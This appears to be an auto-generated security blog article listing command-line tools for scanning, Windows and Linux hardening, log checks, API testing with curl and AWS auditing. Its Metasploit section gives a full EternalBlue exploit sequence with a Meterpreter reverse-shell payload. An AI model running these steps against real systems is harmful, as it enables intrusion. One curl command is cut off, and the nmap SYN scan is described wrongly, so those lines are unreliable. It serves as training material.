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Introduction:
The cybersecurity landscape is perpetually evolving, demanding a toolkit that is both deep and readily accessible. Mastery of core commands across operating systems and security platforms is not just an advantage; it’s a fundamental requirement for effective defense and penetration testing. This article distills essential commands from a top-tier security researcher’s practical experience into an actionable guide.
Learning Objectives:
- Acquire proficiency in fundamental network reconnaissance and analysis commands for both Windows and Linux environments.
- Understand and apply critical commands for system hardening, vulnerability assessment, and log analysis.
- Develop a foundational command-line skillset applicable to penetration testing (VAPT) and security operations (SOC).
You Should Know:
1. Network Reconnaissance with Nmap
Nmap is the industry standard for network discovery and security auditing. It is indispensable for identifying live hosts, open ports, and running services.
`nmap -sS -sV -O -T4 192.168.1.0/24`
Step-by-step guide:
-sS: This flag initiates a SYN stealth scan. It is a default and popular scan method because it is relatively fast and unobtrusive, completing the TCP handshake without establishing a full connection.-sV: This probes open ports to determine the service and version information. This is crucial for identifying potentially vulnerable software.-O: This enables OS detection based on network stack fingerprints.-T4: This sets the timing template to aggressive (4 out of 5) to speed up the scan.192.168.1.0/24: This is the target network range in CIDR notation. Replace this with your target IP or network.
2. Vulnerability Scanning with Nikto
Nikto is an open-source web server scanner that performs comprehensive tests against web servers for dangerous files, outdated servers, and other known vulnerabilities.
`nikto -h https://example.com -o results.txt`
Step-by-step guide:
-h: This flag is used to specify the target host (e.g., `-h https://example.com`).-o: This directs the output to a specified file (e.g.,-o results.txt) for later analysis.- Review the generated `results.txt` file for a list of discovered potential vulnerabilities and security warnings.
3. Windows System Information & Hardening
Understanding a Windows system’s configuration is the first step to securing it. These commands provide a deep dive into the system’s state.
`systeminfo | findstr /B /C:”OS Name” /C:”OS Version” /C:”System Boot Time”`
`wmic qfe get Caption,Description,HotFixID,InstalledOn`
`Get-NetFirewallRule | Where-Object {$_.Enabled -eq $True -and $_.Direction -eq “Inbound”} | Format-Table Name,Profile,Action`
Step-by-step guide:
systeminfo: This command outputs detailed system configuration. Piping it (|) to `findstr` filters the output to show only the OS name, version, and boot time.wmic qfe get: This Windows Management Instrumentation command lists all installed patches and updates, critical for assessing patch compliance.- The `Get-NetFirewallRule` PowerShell cmdlet queries the Windows Firewall. This specific command lists all enabled inbound rules, their profile, and action (Allow/Block), which is vital for verifying network segmentation.
4. Linux Process and Log Analysis
Monitoring processes and auditing logs are core SOC responsibilities. These commands help identify suspicious activity.
`ps aux | grep -i “cron|ssh|ftp”`
`sudo tail -f /var/log/auth.log | grep -i “failed|invalid”`
`sudo netstat -tulnp`
Step-by-step guide:
ps aux: Lists all running processes. The output is piped to `grep` to search for specific service-related processes (e.g., cron, SSH, FTP).tail -f: Follows (live-tails) the end of the specified log file, in this case, the authentication log. Grepping for “failed” or “invalid” helps spot brute-force attempts in real-time.netstat -tulnp: Shows all listening (-l) TCP (-t) and UDP (-u) ports along with the corresponding process name (-p) and PID (-nfor numeric output). This is key for identifying unauthorized services.
5. API Security Testing with curl
The curl command is a powerful tool for manually testing API endpoints, checking headers, and submitting data to identify misconfigurations.
`curl -H “Authorization: Bearer
`curl -H “Content-Type: application/json” -X POST -d ‘{“user”:”admin”,”password”:”test”}’ “https://api.example.com/login”`
Step-by-step guide:
- The first command tests an authenticated API endpoint. Replace `
` with a JWT or API key. The `-v` (verbose) flag outputs the request and response headers, crucial for debugging security issues like missing HTTP security headers. - The second command simulates a POST login request. The `-d` flag sends the specified JSON data. This can be used to test for authentication bypasses (e.g., SQL injection) or broken access control.
6. Cloud Hardening (AWS CLI)
Misconfigured cloud storage services are a primary attack vector. The AWS CLI allows for security auditing and hardening directly from the command line.
`aws s3api get-bucket-acl –bucket my-bucket-name`
`aws s3api get-bucket-policy –bucket my-bucket-name`
`aws ec2 describe-security-groups –group-ids sg-1234567890 –query “SecurityGroups[].IpPermissions”`
Step-by-step guide:
- The `get-bucket-acl` and `get-bucket-policy` commands retrieve the access control list and policy for an S3 bucket. Audit these to ensure they are not set to public read/write (`http://acs.amazonaws.com/groups/global/AllUsers`).
- The `describe-security-groups` command queries the rules of a specific security group. The `–query` flag filters the output to show only the inbound permissions, which should be minimized according to the principle of least privilege.
7. Metasploit Framework Basics
The Metasploit Framework is a penetration testing tool used to develop and execute exploit code against a remote target.
`msfconsole`
`use exploit/windows/smb/ms17_010_eternalblue`
`set RHOSTS 192.168.1.105`
`set PAYLOAD windows/x64/meterpreter/reverse_tcp`
`set LHOST 10.0.0.5`
`exploit`
Step-by-step guide:
1. Launch the Metasploit console with `msfconsole`.
- Search for and select an exploit module (e.g.,
use exploit/windows/smb/ms17_010_eternalblue). - Configure the required options: `RHOSTS` (target address) and `LHOST` (your listener address).
- Select a payload, which is the code that will be executed on the target after a successful exploit (e.g., a Meterpreter reverse shell).
- Execute the exploit with the `exploit` command. Note: Only use these commands on systems you own or have explicit permission to test.
What Undercode Say:
- Command-line fluency remains the most reliable differentiator between a novice and a seasoned security professional, especially in remote and intern roles.
- The convergence of cloud, API, and traditional network security demands a versatile skillset that is best built from the command line up.
The post highlighting VAPT internships underscores a critical industry trend: theoretical knowledge is no longer sufficient. Employers are actively seeking candidates who can immediately navigate tools like Nmap, Nikto, and Wireshark, and who understand system internals through CLI. The commands listed are not just academic; they are the daily drivers for threat hunting, vulnerability assessment, and incident response. Mastering them provides a tangible, practical foundation that is directly applicable to the roles companies like Cyberintelsys are trying to fill. This shift towards practical, demonstrable skill is accelerating.
Prediction:
The increasing automation of both attacks and defenses will elevate the value of professionals who can operate beneath the GUI—those who can write scripts, chain commands, and interpret raw log data. Future offensive and defensive operations will rely less on monolithic software suites and more on agile, command-line driven tools and orchestration, making this skillset a long-term career cornerstone.
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IT/Security Reporter URL:
Reported By: Sathishkofficial Were – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
